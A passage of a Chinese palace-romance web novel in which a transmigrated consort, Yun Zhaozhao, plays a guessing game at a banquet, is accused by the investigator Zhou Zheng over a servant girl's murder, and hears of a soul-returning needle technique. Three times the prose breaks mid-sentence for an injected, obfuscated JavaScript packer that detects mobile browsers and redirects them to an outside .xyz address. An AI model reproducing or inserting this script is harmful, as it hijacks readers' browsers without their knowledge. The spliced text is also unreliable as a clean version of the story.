刚才走在司礼监众人最后的那名年轻太监受宠若惊地站了出来,“是是是,谢谢陛下,谢谢娘娘,谢谢干爹!奴才这就去办去!” 独孤晴便招他过去,朝他仔细叮嘱了一番,让他去准备笔墨和十二块木牌,分别用朱笔和墨笔绘了梅、兰、竹、菊、松、牡丹六种图样,一样两块,到时候抽到同种图样的为一组,以朱为覆方,以墨为射方。 汪海得了在陛下太后面前挣脸面的机会,领了命后便喜气洋洋一路小跑着去了。 他前脚一走,云昭昭便看见裴若桑朝她的大宫女递了个眼色,随后这名大宫女便悄悄地退了出去。 不片刻,又有几名随行的宫女也很是时宜地从水榭中退了出去,众人都心照不宣,但谁也不愿主动点破,只有坐在云昭昭对面的周徵忍不住轻轻发出一声冷哼。 少了几个人,原本还算热闹的水榭一下子冷清了许多,赵昶不以为意地笑了笑,抿了一口菊花酒。 “怎么,剩下的三位爱妃,还让自己的宫女在这里干站着?” 他指的剩下三人便是云昭昭、独孤晴与易琉璃。 他一问话,易琉璃方才如梦初醒,脸上写满了疑惑,她好像一只很怕被人注意到的松鼠,一下子羞红了脸,赶紧小声嘱咐自己的宫女退到水榭外去,随后警惕地抬头注视着众人。 赵昶随即爽朗地大笑,脸上带着玩味:“哈哈哈,可爱,可爱!易常在真的甚是可爱!” 裴若桑见他这么夸易琉璃,脸色十分难看,但当着众人之面不好表现出来,只得跟着憋出一个难看的笑容。 云昭昭则极力忍住想翻白眼的冲动,在心里吐槽道,装什么霸道总裁。 赵昶又看向独孤晴。 独孤晴则回答道:“陛下,今日这赏菊宴虽是太后娘娘做东,却也是臣妾发起,这宴席上总得留人,就让晓珠来伺候大家吧。” 她语气坦荡,赵昶也不再说什么,只是笑笑,然后将目光停在了云昭昭的脸上。 他的呼吸微微一滞。 这是云昭昭入宫这么久以来他们第一次见面。 他一直听闻云氏之女美得惊心动魄,倾国倾城,当初入宫时,隔着喜帕,他没空也没兴趣得见她真容,如今一见,当真是明珠生晕,顾盼生辉,只淡妆素抹,就如同出水芙蓉,将旁边一众嫔妃衬托得黯然失色。 可惜了,此女生错了地儿,偏偏姓云。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108296|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵昶这样想着,嘴上却问:“贵妃,你呢?” 云昭昭盯着他,见他嘴角虽然勾起一丝弧度,目光却异常的锋利冷峻,如同审视围合间的一只小小蝼蚁。 无形的压迫感充斥在四周。 余光瞥见远处流霜紧张的神情,只见她脸色铁青,额头已冒出冷汗。实际上刚才其他人出去的时候,她就已经跃跃欲试地想要跟出去,但却被她用眼神制止了。 她投以流霜一个安慰似的眼神,随即扯着嘴角,笑了。 “陛下,臣妾以为,臣妾的宫女还是留在这儿比较好,您说呢?” 赵昶是个聪明人,不需要她说太多,只需要这一句便够了。 她盯着赵昶,努力让自己保持平静,想象这人不是九五之尊,而只是一篇言情小说里的角色。 赵昶见她如此,嘴角的笑意越发深了。 “知道了,贵妃所言,朕深以为然。” 赵昶说完便不再看她,威压消除,一切又归于平静。 在等着抽签的空当里,太后问起周徵的近况,忍不住感叹道:“明彰啊,你今年也二十有三了,我大周朝多少男子到了你这个年纪,都娶妻生子了。” 周徵道:“娘娘,臣掌管锦衣卫,没那个心思,况且连陛下都尚未……” 说到此处,周徵突然意识到失言,他飞快地看了一眼云昭昭,闭上了嘴。 太后却笑道:“陛下虽中宫空悬,但那也是迟早的事,你呢?趁着这次中秋夜宴,哀家说什么都要替你物色合适的京中贵女了,这既是哀家,也是昭明太后的心愿。” 周徵:“……” 见周徵面露难色,一副木头表情,赵昶简直忍俊不禁,在一旁附和道:“母后,朕早就说要替明彰物色了,可这家伙,就是不开窍啊,朕能怎么办?” 裴若桑在一旁忍不住说道:“陛下,太后娘娘,嫔妾有一妹妹,与嫔妾乃是同父同母所出,三个月前刚刚及笄,丫头性子文静内敛,好诗书,也是个美人,嫔妾瞧着倒与武安侯郎才女貌,很是般配。” “嗯,若桑的妹妹朕见过,确实不错,”赵昶笑道,“明彰,你若看得上裴大人之女,朕便亲自为你们赐婚。” 太后也笑吟吟地说:“看你的意思,明彰。若是无缘,哀家便会在中秋夜宴上为你挑选家室样貌合适的女子。” 周徵:“……” 云昭昭在一旁看得乐不可支,这种吃瓜的快乐简直妙不可言。 纯嫔的父亲虽只是区区四品侍郎,但却是赵昶看好的能臣,甚至破格进入内阁,与周徵这等肱骨联姻,想必是赵昶十分乐意见到的,裴若桑这时候出声替妹妹张罗,也是吃准了圣意,这一步棋实在是下得高妙。不过看周徵的表情,却好像并不情愿。 而另一边,太后还提出要为他另觅佳人。一边是皇帝,一边是太后,这一波周徵就算再骑虎难下,也是娶也得娶,不娶也得娶了。 云昭昭幸灾乐祸地想,如果她是他,多半都会选纯嫔的妹妹,毕竟这是一心辅佐赵昶最好的选择——如果不考虑原书剧情的话。 然而,短暂的沉默之后,周徵给了一个出乎所有人意料的回答。 “陛下,太后娘娘,纯嫔娘娘,恕臣不能答应,” 周徵的声音在落针可闻的水榭中显得格外突兀。 “因为,臣已经心有所属。” 21. 他杀 听到周徵的话,云昭昭惊呆了。 她宛如一只在瓜田里畅游得不亦乐乎的猹,一下子发现了更加惊世骇俗的大瓜,惊得手里的瓜都顾不上了。 这家伙,竟然有心上人了? 说实话,她很难想象被周徵这样冷酷、没有人情味的家伙喜欢,并且还如此广而告之的宣布,当事人这是得有多倒霉啊。 按原书中的发展,周徵应该是喜欢易琉璃的才对。 她的目光在周徵与易琉璃之间来回跳跃,发现两人之间神色自然,并无任何多余的互动,尤其是易琉璃,她安静地坐在位置上细细地嚼着一块海棠饼,如同一只专注享受着眼前食物的小仓鼠,并未有任何坐立不安的感觉。 看来,周徵目前还是单恋。 身为臣子,既要为自己所追随的君王肝脑涂地,又难以自持地喜欢上了对方后宫的嫔妃,这是什么爱而不得又催心挠腮的古早虐文桥段啊!啧啧,太惨了,实在是太惨了! 云昭昭同情地看了周徵一眼。 这个眼神立马被周徵所捕获,他的脸色难看极了,如同桌上那盘酱腌黄瓜。 云昭昭忍不住在心里笑开了花,并以眼神示意,她懂的,她都懂的。 然而下一秒,只听“啪嗒”一声响,独孤晴手中的茶杯落在桌上,亮黄的茶汤洒了一片,将近处的一盘豆沙糕浇了个透心凉,原本精致的外形一下子坍塌了下来。 小部分茶汤顺着桌子,差点儿流到了一旁的贾珂儿身上,惹得她当场发出一惊呼。 “晴妃娘娘!” 独孤晴这才如梦方醒,之前的从容娴静早已荡然无存,她慌慌张张道:“哎,珂儿妹妹,是我不好,方才一下走了神,没洒到你身上吧?我让晓珠陪妹妹去换身衣裳。” “我不妨事,没弄脏衣服,倒是晴妃姐姐,很少见你这样呢。” 独孤晴尴尬地说:“方才正走神着呢,一时没注意手中的杯子,怪我不好。” “莫不是晴儿也被明彰的话也震惊了?” 独孤晴连忙笑道:“没有,陛下,臣妾刚刚并未听清武安侯所言,刚才只是个意外。” 赵昶不怀好意地对周徵说:“明彰,你看看,你真是语不惊人死不休啊,大家都不敢相信自己的耳朵,你就老实说吧,是哪家的姑娘这么有本事,竟然勾走了朕的武安侯的心?” 周徵突然无比郑重地走到一旁,行下大礼。 “陛下,太后,臣有一事相求。” “你这是作何?”赵昶见他如此认真,突然皱眉道,“你有什么需求提便是,大不了朕与太后为你们赐婚。” 谁知周徵道:“只因臣爱慕的那位姑娘目前尚不知臣的心意,臣也不想如此突兀行事,给人平添麻烦,此事还需从长计议,还望陛下和太后娘娘谅解。” 赵昶闻言,有些狐疑地看着他,显然仍不想放弃让周徵与裴家联姻的主张,但周徵态度却十分坚决,颇有点不答应便在此长跪不起的架势。 太后在一旁道:“既如此,哀家也只能成人之美了。” 见太后已表态,赵昶也只好道:“罢了,你……算了,你要这样,那便依你吧。” “谢陛下,谢太后。” 赵昶明显面带不快,但周徵却泰然自若,气氛一下降到冰点。 云昭昭敏锐地注意到,周徵在说起自己心上人时,独孤晴掩饰性地拢了一下头发,坐在一旁摇摇欲坠,笑容有些虚弱。 贾珂儿见她脸色发白,忍不住关切道:“晴妃姐姐,你怎么了,是不是不舒服,或者中暑了?” “啊?”独孤晴如梦方醒,很快恢复了自若,道,“没事,有太后娘娘和陛下在,本宫顶得住。” 太后定定地看着她道:“晴儿,不舒服可别硬撑啊。” 独孤晴点了点头,看向周徵,笑容里带了一丝苦意,“臣妾不妨事。” 云昭昭冷眼旁观,结合刚才独孤晴的表现,她一下子明白了什么。 独孤晴和周徵之间一定有些什么,看这样子,独孤晴多半是喜欢周徵,而周徵喜欢易琉璃,这两人都是赵昶的妃子。 贵圈真乱。 今天这瓜田,真是惊天大瓜,瓜外有瓜,瓜瓜香甜啊,她这只猹都快被撑死了。 很过了一会儿,司礼监的汪海端着一只托盘回到了水榭,托盘上整齐地码着十二支一模一样木牌,想来是故意摆放的白板一面朝上,有图案的一面朝下。 汪海笑容满面,丝毫不见之前的局促,他最先走到赵昶身边,然而赵昶却摆手让太后与这一侧的嫔妃先抽。 不少嫔妃十分紧张,李贵人拿牌子的时候甚至手抖在发抖,差点把另一块木牌碰落在地,而纯嫔则气定神闲,成竹在胸,一看便给了汪海不少好处。 结果光是这一侧,就有贾贵嫔与太后抽到了一组,李贵人同宋修媛抽到了一组,几人神色黯然,李贵人甚至当场便要朝汪海发火,碍于太后和赵昶在场才忍了,改为狠狠剜了他一眼。 轮到云昭昭抽签时,汪海恭恭敬敬端着托盘的身姿好像随时要作揖叩拜一样,这让她一下想起来了入宫那天,在她的喜轿外,就是此人替她去跑了腿,最后又对她避之不及的。 她仔细地瞧了瞧托盘中剩余的木牌,一下便瞧出了端倪。 只见一些牌子的左上角用刀刻着一些不易察觉的划痕,一些则是在右上角。 想来这汪海便是用这种方式做了记号,记下了每个人抽的牌,到时再将给的钱最高者对应的牌子亲自递给赵昶便好。 云昭昭挑了最左侧的一块牌子,掷入掌中一看,是一朵盛放的朱红牡丹,虽是用最简单的白描勾勒而出,却看起来栩栩如生,想来这汪海的画工是极好的,只可惜才能用错了地方。 抽签很快转到了对面,到赵昶的时候,托盘内只剩三支木牌,现在还没有对家的只剩下她、裴若桑与易琉璃了。 而还未进行抽签的只有赵昶、周徵与司礼监掌印太监汪厚。 云昭昭突然意识到,如果按正常抽的话,她会有一多半的可能轮到赵昶与周徵这两个她最不想面对的对象。可即使按原书中的走向,赵昶必定抽到易琉璃,那她也有一半的可能要面对周徵。 她正想着,只见汪海似是无意地将中间的那块牌子直接递给了赵昶,因着之前嫔妃们抽签时他也这样做过,因此也不显得突兀。 “这是做什么?”赵昶脸上挂着一抹莫测的笑意,“抽个签而已,朕自己来。” 说罢他直接绕过汪海,拿起来托盘上的其中一块木牌。 “谁是竹?”他半眯着眼问道。 云昭昭重重地舒了第一口气,其余众人则五味杂陈地等待着回应。过了一会儿,只听角落里的易琉璃有些胆怯地说:“是、是嫔妾。” 一时间,无数道目光聚集在她的脸上,有嫉妒,也有不甘,特别是裴若桑,虽然面上装的若无其事,嘴角依然保持着得体的笑意,但眼底却像点燃了一团火,熊熊燃着,恨不得将易琉璃生生地吞了。 “很好。”赵昶满意道,“明彰,该你了。” 其余嫔妃大失所望,都不再关注场上的抽签结果,只有云昭昭谨慎地盯着汪海和周徵之间的每一个动作。 她在心里盼望着不要抽到周徵,因为从刚刚周徵进场时她就有预感,他的加入,很可能会像一颗乱入的棋子一般,搅乱整场棋局的走向。更重要的是,从她穿书起到现在,每一次遇见周徵的时候,准定没什么好事。 周徵随意选了一块木牌,他不急着翻面看图案,倒是将那牌子拿在手中左看右看,尤其是盯着牌子的一个角反复观看。 很明显,他也看出了汪海的把戏,但他并不准备戳破。 怕什么来什么,当他将木牌翻面后置于桌上,云昭昭见到那上面用墨笔绘着一朵同样盛放的牡丹。 汪海心知肚明,有些尴尬地轻咳一声,替他说道:“武安侯抽中的是牡丹,请问贵妃娘娘与纯嫔娘娘,你们谁……” “是我。”云昭昭直截了当地回答,随后便捕捉到晴妃似是不经意投来的目光。 “哦?”赵昶眯着眼,脸上笑意莫测,“明彰与云贵妃,这个组合倒是新奇,有意思,太有意思了。” 他拍了拍身侧周徵的肩膀道:“明彰,云贵妃的彩头可不是那么好拿到的,你可别让朕失望啊……” 赵昶轻轻一说,却是不动声色地给周徵下了死命令,云昭昭面如死灰。 她来覆,周徵来猜,若是周徵猜对,她已经可以预料到他要提什么古怪的要求了。 比如让她解释自己当初为什么要从云府逃跑,又或者让她当着所有人的面发誓自己不会对赵昶有异心。 总之,都不会是什么好事。她最好的办法就是不要让周徵猜出自己的谜底。 射覆游戏很快便正式开始,每轮覆的一方都先要退到水榭外,将要藏的物事放在汪海命人准备的一个空匣子里,再像刚才抽签那样用托盘端上来,供射方来猜。 前几组除了太后与贾珂儿玩得甚为认真外,其余人都是意兴阑珊,草草结束了事。 轮到赵昶与易琉璃时,赵昶则像作弊似的,只放了一颗菊花酥在里面。这水榭地处偏僻,没有什么物品陈设,只能就地取材,除了园子里的花草,各人身上贴身的物件,便只剩这满桌的糕点了。因此只要是个人,都能想到菊花酥上。赵昶这是明摆着给易琉璃放水了。 而易琉璃所要的彩头也甚为无聊,不过是想重新回味一下她家乡的糕点罢了,完美贴合她在书中佛系吃货的人设。若是换作纯嫔贾贵嫔等人,定是不会放过这个绝佳的邀宠机会,而易琉璃生性纯良,想来这也是赵昶书里会喜欢上易琉璃的原因。 终于,轮到了云昭昭与周徵这组。 虽然其余人已经对这无聊的游戏彻底厌倦,巴不得宴会赶紧散场,但云昭昭却不敢怠慢丝毫。对她而言,这仿佛已不是一场普通的射覆游戏,而是她与周徵之间的一场较量。 光是思考要放什么东西,她就花了比别人更久的时间,司礼监的汪海都有些不耐烦了,只能委婉地催促她。 终于,她眼前一亮。 她从林边的灌木上,摘下一片白鹭的羽毛,将其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108297|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放入匣子中。 之前众人装的都是贴身之物,什么簪子,扳指,折扇,手帕之类的,要么就是吃的,花朵,谁能想到谜底是一片羽毛呢?而且白鹭多聚于对岸水边,谁会想到正好有一只白鹭会飞到御花园里来呢? 云昭昭将匣子交给司礼监后,回到了座位,她胸有成竹,挑衅地看了周徵一眼。 “武安侯,开始吧。” 周徵沉默地打量着云昭昭,墨色眸子如同一汪深不见底的幽潭,看不出任何情绪,唯有眸中一星寒光,带着锐意。 见他半晌不说话,众人都萌生困意。裴若桑因为刚才替自己亲妹提亲被拒,有些下不来台,此刻便半开玩笑半认真道:“武安侯,虽然云贵妃姐姐是这里一等一的大美人,可你这样一直盯着人家看,就不怕惹陛下不快吗?” 赵昶嘴角噙着笑道:“若桑,你这话放别人身上朕或许会相信,但明彰嘛……”他看了看周徵道,“朕倒更期待他要如何解云贵妃的谜题……” “此物乃御花园中之物?” 赵昶刚一说完,周徵便开口了。 云昭昭有些惊讶,但还是镇定道:“正是。” 她料定就算他能想到御花园,最多也只会往花花草草上猜。御花园里汇集天下仙姝奇葩,品种繁多,就算他周徵猜到明早,也报不完名字。 然而下一秒,周徵却问:“可是花草虫石之类?” 他不仅想用一个问题排除花草树木,还要排除另外两类,实在过于犯规,但按这射覆的提问规则又是合理的,云昭昭只能硬着头皮回答:“非也。” 该不会真让他猜到了吧!云昭昭暗道不好。 周徵又问:“此物可是从园里的灌木上找到的?” 云昭昭一下子变了脸色,却也只得硬着头皮回答道:“是的。” 几乎是想都没有多想,周徵脱口而出道:“里面,应当是白鹭的羽毛。” 周遭顿时鸦雀无声,这是一个在座的绝大多数人从未想过的谜底,他们很难想象周徵是如何这么自信地得到这个结论的。 太后有些好奇地问道:“明彰,你就这么肯定?白鹭不都在对岸,御花园里此时怎么会有白鹭呢?” 周徵抱了下拳,“启禀太后娘娘,臣昨日在御花园调查时,曾在此处水榭附近的灌木丛中,救下一只受伤的白鹭,所以留下白鹭羽毛也是正常的。” “可你又是怎么确定昭昭放进去的就是白鹭羽毛呢?” 周徵看了一眼面色煞白的云昭昭,回答道:“臣刚才见云贵妃朝着御花园的方向去了,而云贵妃身着白裙,回来时袖口处有被树枝挂到的痕迹,还沾上了一些浮土,臣刚才问贵妃是否是御花园中事物,便是为了确定这个痕迹是她去取所覆事物时留下的。” 太后眼中露出由衷的赞许之色,“很好,你有心了,看来陛下将锦衣卫交由你掌管确实乃明智之举,难得陛下这么多年都对你这么放心。” “您过誉了,臣不敢当,”周徵道,“臣后来问云贵妃的问题也是为了进一步缩小范围而已。贵妃非寻常女子,自然也不能用常人行迹揣测。” 他的后半句话仿佛意有所指,明褒暗贬,云昭昭一下子火了。她按捺住胸中火气,反问道:“武安侯,你什么意思?” 司礼监掌印汪厚机灵,见势头不对,赶忙出来打圆场,“诶,二位贵人主子,还是让大家赶紧看看结果吧。” 他连忙自作主张地让汪海将那匣子打开,里面果然盛放着一片洁白的羽毛。 众人对周徵顿时刮目相看,只有云昭昭眼神凌厉地盯着他。她有十足的预感,这家伙接下来要让自己不痛快了。 果然,不等其他人提议,这回周徵主动开口道:“既然是臣猜中了,那作为获胜的一方,臣倒确实有一个请求想要贵妃娘娘答应。” 此话一出,满场哗然。 除了晴妃强装镇定外,其他特别是以纯嫔为首的一众人皆是一副看好戏的心态。 就连赵昶都忍不住调侃道:“明彰,你可别太过分了,贵妃再怎么也是朕的妃子,否则朕也不能答应你。” 只有云昭昭知道周徵是何意,她咬着牙道:“你说。” “为了陛下,为了宫里的安全,”周徵用极其平静的语气说出了这句有些露骨的话,“请云贵妃今后务必管好自己身边的下人。” 在场其余等着看热闹的人大失所望。 云昭昭清楚周徵话中之意,但没做的事她绝不能平白认栽。 于是她语气不善道:“武安侯,今日这么多人都在这里,咱们明人不说暗话,你这般揪着本宫不放,究竟是何意?” “那臣便当着大家的面向娘娘说个明白。”周徵边说边露出一个略带讽刺的笑,刺得云昭昭心里更不舒服。 “臣之所以会在御花园里发现那只白鹭,是因为易常在身边的秋儿死的蹊跷,臣这段时间一直在御花园里寻找线索。” “果然,功夫不负有心人,臣现在几乎可以确定,秋儿姑娘不是自杀,而是他杀。” “她是被人打晕了,拖着扔到河里的。” 22. 还魄 这场宴会开始到现在,最后话题还是莫名地回到了秋儿的死上,如同一个完整的圆,在周徵掷地有声的判定下,完成了最后的闭合。 各人心怀鬼胎,脸上表情也各有各的精彩。 “呵,本宫都差点被云贵妃大义凛然的坦荡模样给骗了,原来那个宫女不是被逐月那厮逼死的,居然是被害死的,这得多狠毒的心,才能对一个乳臭未干的小丫头下这样的毒手啊!” 宋允君看着这场好戏,一脸嘲讽。 逐月本是她宫里的女官,她喜欢她的精明能干,对她依赖有加,平日里有了什么好便会分她一份。可逐月却为了攀附云家离她而去,这叫她怎能忍得下这口气?如今逢逐月出事,她定是要狠狠踩一脚的。 而李贵人因为刚才提秋儿被太后所喝止,丢了面子,现在终于找到了机会找补回来。 她微抿朱唇,有些委屈地说:“嫔妾就说嘛,嫔妾的担心也不是无缘无故的……” 还未等她说完,只听现场一声惊呼,易琉璃听到自己大宫女秋儿的死,一是不知是悲伤过度还是受了惊吓,竟是抽搐了几下,当场晕过去了。 “常在,常在!您醒醒啊!”她带来的小宫女冬哥扑了上去,焦急地唤着她。 赵昶当场黑了脸,命令道:“汪海,去,去叫太医来!” 说罢他又问:“怎么回事?” 冬哥怯生生地答道:“陛下,我们常在娘娘从秋儿姐姐去世那天起,就经常这样,找太医来看过说是、说是因为秋儿姐姐的死受了刺激,才引起的晕厥。”说着她害怕地看了云昭昭一眼。 赵昶的脸色越发阴沉,他半眯着眼,锐利的目光像刀子一般刺向云昭昭。 宋允君在一旁添油加醋,更多的则是泄愤,“既如此,把易常在害成这般田地,就该把那逐月赐死,一命偿一命才是。” 话说到这份上,即便不处死逐月,也要给个说法了。 云昭昭刚才憋着心里一口气,一直保持缄默,现在眼看着逐月在这些人三言两语之下摇身变成了真正的杀人凶手,她不可能再无动于衷。 她这人有个特点,就是最恨被人冤枉。因为小时候在学校被老师冤枉的经历,导致她长大后进入社会,上了班,遇见被冤枉的同事也总要路见不平一下。朋友们总说她这是爱管闲事,自讨苦吃,但她不以为意。 所以如今她虽对逐月心怀芥蒂,但好歹逐月也是她宫里的人,她岂能平白无故地承接下来这份冤屈? 更何况她心里最清楚,不可能是逐月做的。 想到这里,云昭昭忍不住瞪向了周徵。 李贵人见她这幅样子,以为她是被周徵揭了短处,便轻啧一声,得意道:“贵妃娘娘刚才还是一副大义凛然的样子,嫔妾还以为自己说错了话,如今真相大白,还得多亏了武安侯明察秋毫。” 云昭昭根本没功夫理会她,只死死地盯着周徵,恨不得将他那副置身事外的冷漠面皮撕开。 这一切都是周徵,都是他靠着仅仅两句没头没尾,无凭无据的话,就引得所有人将自己当成指使人行凶的幕后刽子手。 可她当时明明是想让秋儿活下去的呀! 为什么,为什么只要这个人出现,她就永远不会有好事呢? 云昭昭的胸口剧烈起伏着,嘶声质问道:“武安侯!你究竟什么意思!秋儿到底怎么死的!现在当着这么多人的面,你给我好好说清楚!” “臣既然敢当着陛下和太后的面这么说,那必然已掌握了证据。” 周徵面沉如水道,目光没有丝毫惧色。 “当日那名叫秋儿的宫女失踪后,臣同禁军在春波河的下游找到她的尸体时,就发现她的后颈处有被利器敲击过的淤青。臣这几日专程沿着春波河边排查,终于功夫不负有心人,在离此处不远的灌木从中发现了重物拖拽的痕迹,而在五米开外的河岸边,臣捡到了这个。” 说着周徵从怀中取出一件事物,众人定睛一看,是一方白色的手帕,被树枝划破了一角,虽沾了不少泥土和草籽,快要看不出本来颜色,但仍能看出上面绣着淡蓝色的蓝雪花。 这一看便是宫里的女子之物,且这样简单的素色绣花手帕,一般嫔妃是不用的,倒是在宫女里甚为常见。 “虽然现有的证据并不能指认真凶是谁,”周徵的语气里带着笃定,“但翠微宫地处偏僻,而那天赶在臣离开后,恰好知道秋儿在那里的人,只有云贵妃以及您的宫女。” 人愤怒到一定程度反而会想笑,云昭昭闻言登时觉得荒谬极了。 她挑了挑眉道:“侯爷,那日你离开后,我便吩咐汀雪去了翠微宫告知易常在秋儿的情况,她去没去这一点,你随便问个翠微宫的宫女,一问便知!” 她脸上虽带着笑,但眼底却是藏不住的煞气,易琉璃身边冬哥被吓得一愣一愣的。 像是生怕她之后再来找自家主子麻烦一样,她连忙如小鸡啄米般点头,“是,是,那天汀雪姑娘确实来了趟翠微宫……” “那便是了,易常在的宫女不可能替我撒谎吧。”云昭昭斜着嘴角,目光森然地扫过宋修媛李贵人等人,“至于你们都怀疑的逐月,逐月那天第一时间便陪同我回了昭阳殿,我们一前一后几乎是同时踏入的昭阳殿大门,之后不曾再离开,她又如何有时间回去杀人?你们既疑了她会杀人,不如说我也同样有杀人的嫌疑好了!” 说着她定定地看向周徵,眼中没有丝毫惧色,“既然我有嫌疑,那武安侯你呢?你当时也在场,说不定借着找人的由头,蛰伏在某处再伺机下手,毕竟埋伏于暗处窥视,这不就是你最擅长的事吗?” 她话里多有嘲讽之意,但周徵只是阴着脸,淡定地吐出两个字:“狡辩。” “你!” 见他这般油盐不进,云昭昭气得发抖,她腾地一下从座位上起身,同周徵对峙道:“我刚刚说的每一句都是实事,你要想证明我在狡辩,就拿出证据!” “我没法拿出证据,但我确信能做这件事的只有云贵妃你的宫女,如果不是逐月,便是那个汀雪。” 说到这里,周徵放慢了语速,紧紧地盯着云昭昭,一字一句道:“所以,我只能再次警告你,管好你自己,以及你手下的人。” “周徵!” 云昭昭还想同周徵理论,但水榭外传来了太监通报太医来了的声音,太后刚才听着二人的争辩,已感头疼。她一面揉着太阳穴,一面摆了摆手道:“昭昭,明彰,你们先打住,也先歇歇,先让太医为易常在诊脉,谁对谁错陛下自有判断。” 云昭昭心想让赵昶判断那就完了,他巴不得云琛倒台,自然也是恨不得自己消失,她还想再说几句,但看见赵昶脸色已如同瓢泼暴雨前的天色,只差一秒就要发作,便只好暂时忍住了。 不片刻,一名太医由汪海带路进入水榭,他看上去倒是年轻,二十出头的样子,相貌很是清俊,赵昶见了他似乎想起什么,问道:“你叫何名?朕最近怎么总不见郭晋原了呢?” 郭晋原便是郭院判的大名,赵昶此话一出,周徵的面色瞬间煞白,他张了张嘴,但碍于这里人多,还是选择了闭嘴不言。 那年轻太医躬身道:“微臣张垚参见陛下,太后娘娘,以及诸位贵人,郭院判乃微臣的恩师,他近来病了,身子不适,便向太医院告了半个月的假。” “原来如此,太医院一众人里就属你老师医术最佳,好好跟他学着罢。”赵昶点头道,“你请便吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108298|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢陛下,微臣谨遵陛下教诲。” 张垚便坐下为易琉璃看诊,稍许过后,他证实了易琉璃确如她的宫女冬哥所言,乃心脉不畅,受到刺激后一时气血受阻,才导致的昏厥,接着他当场为易琉璃施针,不一会儿,易琉璃便悠悠转醒,茫然地看着自己面前围着的一群人。 “冬哥,我、我是怎么了……啊,陛下,太后娘娘!” 易琉璃说着便要起身,被太后阻止道:“歇着吧,你身子不好,刚才是不小心晕过去了。” 闻言易琉璃乖乖地靠在原处,她面带疑虑和歉色,以为是自己的原因使得参与宴会的众人无法尽兴。 张垚又看了一下她的舌苔、眼下,才为她写下个方子,嘱咐冬哥按时让她服药,完事后,他将带来的那一套金针一根一根地装进贴身收纳的小布袋里。 这时,周徵似是无意地踱步到他身边,突然开口道:“张大人,在下有一事想请教,大人刚才所施的针法看上去与寻常针法不同,可是同郭院判学的?” 见他这般恭敬地同自己说话,张垚受宠若惊道:“正是,此乃微臣恩师家传的一套针法,不知侯爷问这个做什么?” 周徵抬眸看了眼云昭昭,神色微动,他蹲下身,压低声音问道:“不知郭大人的这套针法里,是否有能救人于生死之间的?”为了避免张垚怀疑,他甚至撒了谎道:“在下有一朋友,母亲病入膏肓,药石罔效了,不知可否能救回来呢?” 张垚以为他真是替友人之母求医,便如实说道:“恩师的那套祖传针法中却有一法,是专门针对行将就木的患者的,名曰九曜还魄针,施展此法时,金针所入的九个穴位暗合天上北斗九星宿,此法对施针者手法需求颇高,微臣也只是听说,真正操作恐怕只有恩师才行。” 周徵:“此针法当真能让人起死回生?” 张垚抱歉地摇摇头道:“非也,人若真到了灯尽油枯的时候,就是大罗金仙转世也无药可救,只是有些病人尚有余气,或者说体内阳火未灭,这九曜还魄针便是将这最后的生气激活出来,也权当是死马当活马医了。而且听恩师说,这针法副作用极大……” “哦?”周徵眼眸微动,“可是什么副作用?” “这副作用微臣也只是听恩师所说。他老人家在进太医院之前曾云游四方,医过不少疑难杂症,也见过不少稀奇古怪之事。” 说到这里,张垚将最后一根金针装入袋中,然后也压低了声音,有些神秘地说: “听说,之前曾有个别受施此针法的病人很快便奇迹般地康复了,但好转后却性情大变,而且还失了记忆,对家人一概不认得,对自己过往之事一问三不知。” “还有这等奇事?” “可不是,”张垚笑着道,“微臣也觉得像是传说故事来着。更像传说的是,有病人家属见此情状,觉得病患是中了邪,便找了道士来看,而那道士看后说,那人早已不是他本人。” “什么意思?” 周徵嘴唇微微发木,他仿佛能够听见自己心脏砰砰跳动的声音。 “就是说他被人借尸还魂了,有不知哪里来的孤魂野鬼,借了他的肉身活过来了。武安侯,您说,这是不是太荒谬了?多半是那道士为了招摇撞骗随口杜撰的。不过恩师他老人家对于此法倒是甚为谨慎,在教授我针法时便也未将此法传授予我。” 张垚激动地说完,却发现周徵似乎盯着一个方向若有所思。他顺着他的目光看去,正好对上了云昭昭愠怒的美目,张垚赶紧收回目光。 “嗯,武安侯?”他忍不住叫住他,“要不,让微臣去看看您那位朋友的母亲,或许还有别的法子?” 周徵终于回过神来,动了动嘴唇道:“无妨,不必了。” 23. 汀雪 两人的低声交谈很快吸引了其他人的注意,赵昶好奇道:“明彰,张垚,你们在说什么?” 张垚嘴快,想也没多想便解释道:“回陛下,武安侯有一友人母亲病重,正向微臣打听师父留下来的救命针法……” 他话音刚落,忽见周徵神色凛若冰霜,一下子意识到什么,立马敛容屏气,噤声不言。 “朕居然不知道武安侯竟有这样一位友人,”赵昶半眯着眼,目光里透出一丝戏谑,“是何人母亲病重啊?” 